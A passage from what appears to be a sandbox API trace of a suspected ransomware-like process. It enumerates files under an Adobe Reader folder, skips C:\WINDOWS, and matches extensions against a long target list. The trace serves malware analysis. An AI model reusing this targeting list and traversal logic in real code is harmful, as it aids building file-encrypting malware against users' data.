[0265.740] lstrlenW (lpString=".dae") returned 4 [0265.740] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0265.740] lstrlenW (lpString=".dat") returned 4 [0265.740] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0265.740] lstrlenW (lpString=".db") returned 3 [0265.740] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0265.740] lstrlenW (lpString=".dbf") returned 4 [0265.740] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0265.740] lstrlenW (lpString=".dbx") returned 4 [0265.740] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0265.740] lstrlenW (lpString=".dc3") returned 4 [0265.740] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0265.740] lstrlenW (lpString=".dcm") returned 4 [0265.740] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0265.740] lstrlenW (lpString=".dcr") returned 4 [0265.740] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0265.740] lstrlenW (lpString=".der") returned 4 [0265.740] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0265.741] lstrlenW (lpString=".dib") returned 4 [0265.741] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0265.741] lstrlenW (lpString=".dic") returned 4 [0265.741] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0265.741] lstrlenW (lpString=".dif") returned 4 [0265.741] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0265.741] lstrlenW (lpString=".divx") returned 5 [0265.741] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0265.741] lstrlenW (lpString=".djvu") returned 5 [0265.741] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0265.741] lstrlenW (lpString=".dng") returned 4 [0265.741] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0265.741] lstrlenW (lpString=".doc") returned 4 [0265.741] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0265.741] lstrlenW (lpString=".docm") returned 5 [0265.741] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0265.741] lstrlenW (lpString=".docx") returned 5 [0265.741] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0265.741] lstrlenW (lpString=".dot") returned 4 [0265.741] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0265.741] lstrlenW (lpString=".dotm") returned 5 [0265.741] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0265.741] lstrlenW (lpString=".dotx") returned 5 [0265.742] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0265.742] lstrlenW (lpString=".dpx") returned 4 [0265.742] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0265.742] lstrlenW (lpString=".dqy") returned 4 [0265.742] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0265.742] lstrlenW (lpString=".dsn") returned 4 [0265.742] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0265.742] lstrlenW (lpString=".dt") returned 3 [0265.742] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0265.742] lstrlenW (lpString=".dtd") returned 4 [0265.742] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0265.742] lstrlenW (lpString=".dwg") returned 4 [0265.742] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0265.742] lstrlenW (lpString=".dwt") returned 4 [0265.742] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0265.742] lstrlenW (lpString=".dx") returned 3 [0265.742] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0265.743] lstrlenW (lpString=".dxf") returned 4 [0265.743] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0265.743] lstrlenW (lpString=".edml") returned 5 [0265.743] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0265.743] lstrlenW (lpString=".efd") returned 4 [0265.743] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0265.743] lstrlenW (lpString=".elf") returned 4 [0265.743] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0265.743] lstrlenW (lpString=".emf") returned 4 [0265.743] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0265.743] lstrlenW (lpString=".emz") returned 4 [0265.743] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0265.743] lstrlenW (lpString=".epf") returned 4 [0265.743] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0265.743] lstrlenW (lpString=".eps") returned 4 [0265.743] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0265.743] lstrlenW (lpString=".epsf") returned 5 [0265.743] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0265.743] lstrlenW (lpString=".epsp") returned 5 [0265.743] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0265.743] lstrlenW (lpString=".erf") returned 4 [0265.743] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0265.744] lstrlenW (lpString=".exr") returned 4 [0265.744] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0265.744] lstrlenW (lpString=".f4v") returned 4 [0265.744] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0265.744] lstrlenW (lpString=".fido") returned 5 [0265.744] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0265.744] lstrlenW (lpString=".flm") returned 4 [0265.744] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0265.744] lstrlenW (lpString=".flv") returned 4 [0265.744] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0265.744] lstrlenW (lpString=".frm") returned 4 [0265.744] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0265.744] lstrlenW (lpString=".fxg") returned 4 [0265.744] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0265.744] lstrlenW (lpString=".geo") returned 4 [0265.744] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0265.744] lstrlenW (lpString=".gif") returned 4 [0265.744] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0265.745] lstrlenW (lpString=".grs") returned 4 [0265.745] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0265.745] lstrlenW (lpString=".gz") returned 3 [0265.745] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0265.745] lstrlenW (lpString=".h") returned 2 [0265.745] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0265.745] lstrlenW (lpString=".hdr") returned 4 [0265.745] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0265.745] lstrlenW (lpString=".hpp") returned 4 [0265.745] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0265.745] lstrlenW (lpString=".hta") returned 4 [0265.745] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0265.745] lstrlenW (lpString=".htc") returned 4 [0265.745] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0265.745] lstrlenW (lpString=".htm") returned 4 [0265.745] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0265.745] lstrlenW (lpString=".html") returned 5 [0265.745] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0265.745] lstrlenW (lpString=".icb") returned 4 [0265.745] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0265.745] lstrlenW (lpString=".ics") returned 4 [0265.745] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0265.746] lstrlenW (lpString=".iff") returned 4 [0265.746] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0265.746] lstrlenW (lpString=".inc") returned 4 [0265.746] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0265.746] lstrlenW (lpString=".indd") returned 5 [0265.746] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0265.746] lstrlenW (lpString=".ini") returned 4 [0265.746] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0265.746] lstrlenW (lpString=".iqy") returned 4 [0265.746] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0265.746] lstrlenW (lpString=".j2c") returned 4 [0265.746] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0265.746] lstrlenW (lpString=".j2k") returned 4 [0265.746] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0265.746] lstrlenW (lpString=".java") returned 5 [0265.746] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0265.746] lstrlenW (lpString=".jp2") returned 4 [0265.746] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0265.746] lstrlenW (lpString=".jpc") returned 4 [0265.746] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0265.746] lstrlenW (lpString=".jpe") returned 4 [0265.746] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0265.746] lstrlenW (lpString=".jpeg") returned 5 [0265.746] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0265.746] lstrlenW (lpString=".jpf") returned 4 [0265.746] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0265.747] lstrlenW (lpString=".jpg") returned 4 [0265.747] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0265.747] lstrlenW (lpString=".jpx") returned 4 [0265.747] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0265.747] lstrlenW (lpString=".js") returned 3 [0265.747] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0265.747] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.747] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0265.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0265.747] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0265.747] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma") returned 106 [0265.747] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma") returned 1 [0265.747] lstrlenW (lpString="fr-ma") returned 5 [0265.747] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fr-ma") returned -1 [0265.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0265.747] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma") returned 106 [0265.747] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0265.756] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.756] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.756] lstrlenW (lpString="ui-strings.js") returned 13 [0265.756] lstrlenW (lpString=".1cd") returned 4 [0265.756] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0265.756] lstrlenW (lpString=".3ds") returned 4 [0265.756] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0265.756] lstrlenW (lpString=".3fr") returned 4 [0265.757] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0265.757] lstrlenW (lpString=".3g2") returned 4 [0265.757] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0265.757] lstrlenW (lpString=".3gp") returned 4 [0265.757] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0265.757] lstrlenW (lpString=".7z") returned 3 [0265.757] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0265.757] lstrlenW (lpString=".accda") returned 6 [0265.757] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0265.757] lstrlenW (lpString=".accdb") returned 6 [0265.757] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0265.757] lstrlenW (lpString=".accdc") returned 6 [0265.757] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0265.757] lstrlenW (lpString=".accde") returned 6 [0265.757] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0265.757] lstrlenW (lpString=".accdt") returned 6 [0265.757] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0265.757] lstrlenW (lpString=".accdw") returned 6 [0265.757] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0265.757] lstrlenW (lpString=".adb") returned 4 [0265.757] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0265.757] lstrlenW (lpString=".adp") returned 4 [0265.757] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0265.757] lstrlenW (lpString=".ai") returned 3 [0265.757] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0265.757] lstrlenW (lpString=".ai3") returned 4 [0265.758] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0265.758] lstrlenW (lpString=".ai4") returned 4 [0265.758] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0265.758] lstrlenW (lpString=".ai5") returned 4 [0265.758] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0265.758] lstrlenW (lpString=".ai6") returned 4 [0265.758] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0265.758] lstrlenW (lpString=".ai7") returned 4 [0265.758] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0265.758] lstrlenW (lpString=".ai8") returned 4 [0265.758] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0265.758] lstrlenW (lpString=".anim") returned 5 [0265.758] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0265.758] lstrlenW (lpString=".arw") returned 4 [0265.758] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0265.758] lstrlenW (lpString=".as") returned 3 [0265.758] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0265.758] lstrlenW (lpString=".asa") returned 4 [0265.758] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0265.758] lstrlenW (lpString=".asc") returned 4 [0265.758] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0265.758] lstrlenW (lpString=".ascx") returned 5 [0265.758] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0265.758] lstrlenW (lpString=".asm") returned 4 [0265.758] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0265.758] lstrlenW (lpString=".asmx") returned 5 [0265.759] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0265.759] lstrlenW (lpString=".asp") returned 4 [0265.759] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0265.759] lstrlenW (lpString=".aspx") returned 5 [0265.759] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0265.759] lstrlenW (lpString=".asr") returned 4 [0265.759] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0265.759] lstrlenW (lpString=".asx") returned 4 [0265.759] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0265.759] lstrlenW (lpString=".avi") returned 4 [0265.759] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0265.759] lstrlenW (lpString=".avs") returned 4 [0265.759] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0265.759] lstrlenW (lpString=".backup") returned 7 [0265.759] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0265.759] lstrlenW (lpString=".bak") returned 4 [0265.759] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0265.759] lstrlenW (lpString=".bay") returned 4 [0265.759] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0265.759] lstrlenW (lpString=".bd") returned 3 [0265.760] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0265.760] lstrlenW (lpString=".bin") returned 4 [0265.760] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0265.760] lstrlenW (lpString=".bmp") returned 4 [0265.760] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0265.760] lstrlenW (lpString=".bz2") returned 4 [0265.760] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0265.760] lstrlenW (lpString=".c") returned 2 [0265.760] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0265.760] lstrlenW (lpString=".cdr") returned 4 [0265.760] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0265.760] lstrlenW (lpString=".cer") returned 4 [0265.760] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0265.760] lstrlenW (lpString=".cf") returned 3 [0265.760] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0265.760] lstrlenW (lpString=".cfc") returned 4 [0265.760] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0265.760] lstrlenW (lpString=".cfm") returned 4 [0265.760] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0265.760] lstrlenW (lpString=".cfml") returned 5 [0265.760] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0265.760] lstrlenW (lpString=".cfu") returned 4 [0265.760] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0265.760] lstrlenW (lpString=".chm") returned 4 [0265.761] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0265.761] lstrlenW (lpString=".cin") returned 4 [0265.761] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0265.761] lstrlenW (lpString=".class") returned 6 [0265.761] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0265.761] lstrlenW (lpString=".clx") returned 4 [0265.761] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0265.761] lstrlenW (lpString=".config") returned 7 [0265.761] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0265.761] lstrlenW (lpString=".cpp") returned 4 [0265.761] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0265.761] lstrlenW (lpString=".cr2") returned 4 [0265.761] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0265.761] lstrlenW (lpString=".crt") returned 4 [0265.761] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0265.761] lstrlenW (lpString=".crw") returned 4 [0265.761] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0265.761] lstrlenW (lpString=".cs") returned 3 [0265.761] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0265.761] lstrlenW (lpString=".css") returned 4 [0265.761] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0265.761] lstrlenW (lpString=".csv") returned 4 [0265.762] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0265.762] lstrlenW (lpString=".cub") returned 4 [0265.762] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0265.762] lstrlenW (lpString=".dae") returned 4 [0265.762] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0265.762] lstrlenW (lpString=".dat") returned 4 [0265.762] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0265.762] lstrlenW (lpString=".db") returned 3 [0265.762] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0265.762] lstrlenW (lpString=".dbf") returned 4 [0265.762] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0265.762] lstrlenW (lpString=".dbx") returned 4 [0265.762] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0265.762] lstrlenW (lpString=".dc3") returned 4 [0265.762] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0265.762] lstrlenW (lpString=".dcm") returned 4 [0265.762] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0265.762] lstrlenW (lpString=".dcr") returned 4 [0265.762] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0265.762] lstrlenW (lpString=".der") returned 4 [0265.762] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0265.763] lstrlenW (lpString=".dib") returned 4 [0265.763] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0265.763] lstrlenW (lpString=".dic") returned 4 [0265.763] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0265.763] lstrlenW (lpString=".dif") returned 4 [0265.763] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0265.763] lstrlenW (lpString=".divx") returned 5 [0265.763] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0265.763] lstrlenW (lpString=".djvu") returned 5 [0265.763] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0265.763] lstrlenW (lpString=".dng") returned 4 [0265.763] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0265.763] lstrlenW (lpString=".doc") returned 4 [0265.763] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0265.763] lstrlenW (lpString=".docm") returned 5 [0265.763] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0265.763] lstrlenW (lpString=".docx") returned 5 [0265.763] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0265.763] lstrlenW (lpString=".dot") returned 4 [0265.764] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0265.764] lstrlenW (lpString=".dotm") returned 5 [0265.764] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0265.764] lstrlenW (lpString=".dotx") returned 5 [0265.764] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0265.764] lstrlenW (lpString=".dpx") returned 4 [0265.764] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0265.764] lstrlenW (lpString=".dqy") returned 4 [0265.764] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0265.764] lstrlenW (lpString=".dsn") returned 4 [0265.764] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0265.764] lstrlenW (lpString=".dt") returned 3 [0265.765] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0265.765] lstrlenW (lpString=".dtd") returned 4 [0265.765] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0265.765] lstrlenW (lpString=".dwg") returned 4 [0265.765] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0265.765] lstrlenW (lpString=".dwt") returned 4 [0265.765] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0265.765] lstrlenW (lpString=".dx") returned 3 [0265.765] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0265.765] lstrlenW (lpString=".dxf") returned 4 [0265.765] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0265.765] lstrlenW (lpString=".edml") returned 5 [0265.765] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0265.765] lstrlenW (lpString=".efd") returned 4 [0265.765] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0265.765] lstrlenW (lpString=".elf") returned 4 [0265.765] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0265.765] lstrlenW (lpString=".emf") returned 4 [0265.765] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0265.766] lstrlenW (lpString=".emz") returned 4 [0265.766] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0265.766] lstrlenW (lpString=".epf") returned 4 [0265.766] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0265.766] lstrlenW (lpString=".eps") returned 4 [0265.766] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0265.766] lstrlenW (lpString=".epsf") returned 5 [0265.766] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0265.766] lstrlenW (lpString=".epsp") returned 5 [0265.766] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0265.766] lstrlenW (lpString=".erf") returned 4 [0265.766] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0265.766] lstrlenW (lpString=".exr") returned 4 [0265.766] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0265.767] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.767] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0265.773] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0265.773] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0265.773] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0265.773] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, 